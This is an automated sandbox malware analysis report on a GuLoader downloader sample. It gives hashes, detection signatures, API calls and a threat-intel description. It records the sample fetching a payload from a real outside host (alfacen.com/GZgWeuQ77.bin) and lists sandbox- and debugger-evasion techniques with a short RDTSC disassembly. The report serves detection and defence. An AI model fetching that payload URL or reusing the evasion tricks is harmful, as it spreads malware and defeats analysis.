Edit tour

Windows Analysis Report
450707124374000811.exe

Overview

General Information

Sample name:	450707124374000811.exe
Analysis ID:	1538185
MD5:	22aeab62009aaa9073b3159d7da1195e
SHA1:	602dd47b6910a522be90fc47d10d5c26a836a01a
SHA256:	1fc195e3937e7c7d9ca78f9c39f8997d5ed98fe1c608ad5c7b4a01dc24ddd967
Tags:	exeuser-Racco42
Infos:

Detection

GuLoader

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Opens the same file many times (likely Sandbox evasion)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

450707124374000811.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\450707124374000811.exe" MD5: 22AEAB62009AAA9073B3159D7DA1195E)

450707124374000811.exe (PID: 1060 cmdline: "C:\Users\user\Desktop\450707124374000811.exe" MD5: 22AEAB62009AAA9073B3159D7DA1195E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2468313249.0000000002BF8000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 450707124374000811.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 450707124374000811.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 450707124374000811.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 193.107.36.30:443 -> 192.168.2.4:49846 version: TLS 1.2

Source: 450707124374000811.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: wntdll.pdbUGP source: 450707124374000811.exe, 00000004.00000003.2862772211.000000003559E000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2864836378.0000000035746000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 450707124374000811.exe, 450707124374000811.exe, 00000004.00000003.2862772211.000000003559E000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2864836378.0000000035746000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_004065C5 FindFirstFileW,FindClose,	0_2_004065C5
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00405990 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405990
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: Joe Sandbox View

IP Address: 193.107.36.30 193.107.36.30

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /GZgWeuQ77.bin HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: alfacen.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: alfacen.com

Source: 450707124374000811.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: 450707124374000811.exe, 00000004.00000001.2467393777.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: 450707124374000811.exe, 00000004.00000001.2467393777.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005653000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863552565.000000000565B000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893461136.000000000565C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863258714.000000000565B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863513431.0000000005653000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863552565.000000000565B000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893461136.000000000565C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914434023.0000000034D30000.00000004.00001000.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863258714.000000000565B000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893349281.000000000562B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/GZgWeuQ77.bin
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/GZgWeuQ77.bine
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/GZgWeuQ77.bine/Q
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://alfacen.com/GZgWeuQ77.binf
Source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214

Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846

Source: unknown

HTTPS traffic detected: 193.107.36.30:443 -> 192.168.2.4:49846 version: TLS 1.2

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_00405425 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405425

Source: C:\Users\user\Desktop\450707124374000811.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359635C0 NtCreateMutant,LdrInitializeThunk,	4_2_359635C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35962DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_35962DF0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35963090 NtSetValueKey,	4_2_35963090
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35963010 NtOpenDirectoryObject,	4_2_35963010

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_00403373 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403373

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00404C62	0_2_00404C62
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00406ADD	0_2_00406ADD
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_004072B4	0_2_004072B4
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359CD5B0	4_2_359CD5B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359F95C3	4_2_359F95C3
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E7571	4_2_359E7571
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359EF43F	4_2_359EF43F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35921460	4_2_35921460
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359EF7B0	4_2_359EF7B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E16CC	4_2_359E16CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_35975630	4_2_35975630
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3593B1B0	4_2_3593B1B0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591F172	4_2_3591F172
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359FB16B	4_2_359FB16B
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3596516C	4_2_3596516C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359DF0CC	4_2_359DF0CC
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359370C0	4_2_359370C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E70E9	4_2_359E70E9
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359EF0E0	4_2_359EF0E0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3597739A	4_2_3597739A
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359E132D	4_2_359E132D
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591D34C	4_2_3591D34C
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359352A0	4_2_359352A0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594B2C0	4_2_3594B2C0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3594D2F0	4_2_3594D2F0
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359D12ED	4_2_359D12ED

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: String function: 3591B970 appears 96 times

Source: 450707124374000811.exe

Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 450707124374000811.exe, 00000004.00000002.2914801350.0000000035BC1000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 450707124374000811.exe
Source: 450707124374000811.exe, 00000004.00000003.2862772211.00000000356C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 450707124374000811.exe
Source: 450707124374000811.exe, 00000004.00000003.2864836378.0000000035873000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 450707124374000811.exe

Source: 450707124374000811.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal80.troj.evad.winEXE@2/8@1/1

Source: C:\Users\user\Desktop\450707124374000811.exe

0_2_00403373

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_004046E6 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046E6

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_004020FE CoCreateInstance,

0_2_004020FE

Source: C:\Users\user\Desktop\450707124374000811.exe

File created: C:\Users\user\AppData\Roaming\pechay

Jump to behavior

Source: C:\Users\user\Desktop\450707124374000811.exe

File created: C:\Users\user\AppData\Local\Temp\nsfA7DB.tmp

Jump to behavior

Source: 450707124374000811.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\450707124374000811.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\450707124374000811.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 450707124374000811.exe

ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\450707124374000811.exe

File read: C:\Users\user\Desktop\450707124374000811.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\450707124374000811.exe "C:\Users\user\Desktop\450707124374000811.exe"
Source: C:\Users\user\Desktop\450707124374000811.exe	Process created: C:\Users\user\Desktop\450707124374000811.exe "C:\Users\user\Desktop\450707124374000811.exe"

Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\450707124374000811.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: 450707124374000811.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: wntdll.pdbUGP source: 450707124374000811.exe, 00000004.00000003.2862772211.000000003559E000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2864836378.0000000035746000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 450707124374000811.exe, 450707124374000811.exe, 00000004.00000003.2862772211.000000003559E000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2864836378.0000000035746000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: 450707124374000811.exe, 00000004.00000001.2467393777.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2468313249.0000000002BF8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_10002DE0 push eax; ret		0_2_10002E0E
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_358F1368 push eax; iretd		4_2_358F1369

Source: C:\Users\user\Desktop\450707124374000811.exe

File created: C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\450707124374000811.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\450707124374000811.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\user\Desktop\450707124374000811.exe

File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Saddukisk233\centerleder.ini count: 45722

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\450707124374000811.exe	API/Special instruction interceptor: Address: 31291AD
Source: C:\Users\user\Desktop\450707124374000811.exe	API/Special instruction interceptor: Address: 1D091AD

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\450707124374000811.exe	RDTSC instruction interceptor: First address: 30EC9BB second address: 30EC9BB instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F8700C58778h 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 test al, dl 0x0000000a rdtsc
Source: C:\Users\user\Desktop\450707124374000811.exe	RDTSC instruction interceptor: First address: 1CCC9BB second address: 1CCC9BB instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F8700D7BE88h 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 test al, dl 0x0000000a rdtsc

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 4_2_3599D1C0 rdtsc

4_2_3599D1C0

Source: C:\Users\user\Desktop\450707124374000811.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\450707124374000811.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\450707124374000811.exe TID: 796

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_004065C5 FindFirstFileW,FindClose,	0_2_004065C5
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00405990 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405990
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 0_2_00402862 FindFirstFileW,	0_2_00402862

Source: 450707124374000811.exe, 00000004.00000003.2863443830.000000000566C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863224736.000000000566C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893481986.000000000566C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: 450707124374000811.exe, 00000004.00000003.2863513431.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863275238.0000000005638000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863443830.000000000566C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000003.2863224736.000000000566C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893481986.000000000566C000.00000004.00000020.00020000.00000000.sdmp, 450707124374000811.exe, 00000004.00000002.2893414813.0000000005639000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\450707124374000811.exe	API call chain: ExitProcess graph end node			graph_0-4600
Source: C:\Users\user\Desktop\450707124374000811.exe	API call chain: ExitProcess graph end node			graph_0-4604

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 4_2_3599D1C0 rdtsc

4_2_3599D1C0

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 4_2_359635C0 NtCreateMutant,LdrInitializeThunk,

4_2_359635C0

Source: C:\Users\user\Desktop\450707124374000811.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AB594 mov eax, dword ptr fs:[00000030h]	4_2_359AB594
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359AB594 mov eax, dword ptr fs:[00000030h]	4_2_359AB594
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591758F mov eax, dword ptr fs:[00000030h]	4_2_3591758F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591758F mov eax, dword ptr fs:[00000030h]	4_2_3591758F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_3591758F mov eax, dword ptr fs:[00000030h]	4_2_3591758F
Source: C:\Users\user\Desktop\450707124374000811.exe	Code function: 4_2_359B35BA mov eax, dword ptr fs:[00000030h]	4_2_359B35BA
